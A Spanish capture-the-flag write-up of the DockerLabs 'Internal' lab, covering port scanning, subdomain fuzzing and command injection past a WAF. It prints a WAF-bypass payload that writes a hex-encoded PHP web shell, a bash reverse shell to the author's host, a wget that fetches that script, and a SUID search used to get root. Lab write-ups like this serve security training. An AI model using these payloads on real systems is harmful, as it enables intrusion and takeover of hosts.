Internal, DockerLabs
Herramientas y recursos
En este reto de DockerLabs practicamos.
| Tecnicas | Herramientas |
|---|---|
| scan de puertos | nmap |
| busqueda de directorios | feroxbuster |
| Busqueda de subdomnios | ffuz |
| waf | bypass waf |
Reconocimiento y enumeracion
Lo primero como siempre le tiramos un nmap con los parámetros de costumbre.
1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX bola 172.17.0.3
Como vemos tenemos el 80 http, el 22 ssh, sin mas demora revisamos la web y nos fijamos que debemos añadir al vhost el dominio internal.dl , en la web nos se ve nada y tampoco hay nada con lo que interactuar asi que lanzo un feroxbuster el cual tampoco aporta nada , toca buscar subdominios.
Añadimos a /etc/hosts el dominio
Añadimos tambien los subdominios encontrados en este caso backup.
1
ffuf -u http://internal.dl -H "Host: FUZZ.internal.dl" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
Vamos a investigar el subdominio y que podemos hacer.
Nos encontramos que podemos ejecutar comando no sin ciertas restricciones en operadores , comandos ,espacios y alguna otra cosa que me ha roto la cabeza un rato.
| Ahora os dejo la captura de un descuido que tuvo el creador o lo dejo adrede para facilitarnos las cosas pero yo ni asi puede mandarme un revshell desde la web.(Desconozco si era un error del java de mi navegador al enviar un comando codeado en hex para bypasear el waf)**ls -lah /home | py’‘thon3${IFS}-c${IFS}print(bytes.fromhex(‘3c3f7068702073797374656d28245f4745545b22636d64225d293b203f3e’).decode())>index2.php ✗ Network error: Cannot read properties of null (reading ‘replace’)** eso me daba error y creo no tiene que ver directamente con las restricciones. |
Ahora vamos al lio con la intrusion y como la realice.
Intrusion y escalada
Como no conseguia ejecutar la revshell desde shell exec decidi subirla y ejecutarla desde la web. Asi que lo primero me creo el fichero y luego lo subo , ojo con el nombre que le dais tambien tendreis problemas.
1
2
#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.18.14/1188 0>&1
Levanto un server de python
1
python3 -m http.server 8888
Vuelvo a la web y ejecuto
1
wge''t http://192.168.18.14/test -O /tmp/test >/dev/null 2>&1
Cuando lo ejecutaba de manera normal con el -q el fichero quedaba vacio o metia los datos de wget por eso fuerzo la redireccion del log de esa forma.
Solo queda ponerse a la escucha y ejecutar.
Que lindo el circulo son fin …..:-)
Ya estamos dentro vamos a escalar
Con ls hayo cositas interesantes un vault_pass.txt que aparentan ser las contraseñas del user , asi que sin mas demora hago uso del script en local de malfer, no sin antes irme a tmp para tener permisos sin problemas.
Nos convertimos en vault con su
no hay sudo pero encontramos un programita interesante con el comando de abajo y corresponde a lo que habiamos visto en opt asi que vamos a ejecutarlo haber que hace
1
find / -user root -perm /4000 2>/dev/null
Simplemente ejecutando el programa nos convertimos en root.
Hasta aqui la maquinita, gracias por leer.












Comments powered by Disqus.